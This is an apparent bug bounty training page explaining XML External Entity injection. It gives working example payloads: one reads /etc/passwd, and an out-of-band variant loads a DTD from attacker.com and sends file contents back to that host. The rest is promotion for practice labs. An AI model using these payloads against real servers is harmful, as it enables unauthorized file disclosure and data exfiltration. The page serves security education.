XXE

High

XML External Entity Injection

Definition

XML External Entity (XXE) is a vulnerability that abuses the external-entity feature of XML parsers. When an application processes input XML without disabling external entities, an attacker can read files from the server, perform SSRF or cause a denial of service.

Impact

Reading sensitive server files (/etc/passwd, configuration files)Server-Side Request Forgery (SSRF) through external entitiesDenial of service with Billion Laughs attacksOut-of-band data exfiltration (OOB-XXE)In some cases, remote code execution

Examples

XXE for file reading

An external entity is defined that references the /etc/passwd file. When the XML parser processes the document and expands the &xxe; entity, the file contents are included in the response.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
  <name>&xxe;</name>
</user>

Out-of-Band XXE (OOB)

When the response does not show the entity's content, the OOB technique is used: the server loads an external DTD that exfiltrates the file's data to a server controlled by the attacker.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>
<data>test</data>

<!-- evil.dtd on the attacker's server -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;

Practice XXE with real labs

Apply what you've learned in safe environments based on real bug bounty reports.

See practice labs
2,482

hunters training

62

labs from real hacks

1,630

completions

$14,790

paid out for these bugs

11 flags captured this week·Real hacks from HackerOne · YesWeHack · Bugcrowd·No commitment·Free Academy
Free · no account

The checklist I run on every new target

47 checks ordered by cost: first what can get you in trouble, then the cheap stuff, and finally the expensive stuff — which is where the big bounties are. I'll send it to your inbox right now.

Unsubscribe in one click, from any email.

BBLabs · bug bounty training

Stop reading about bugs and start hunting them

Create your free account and practice on labs based on real hacks that paid out thousands of euros. The Academy is free forever.

No card · free Academy · cancel anytime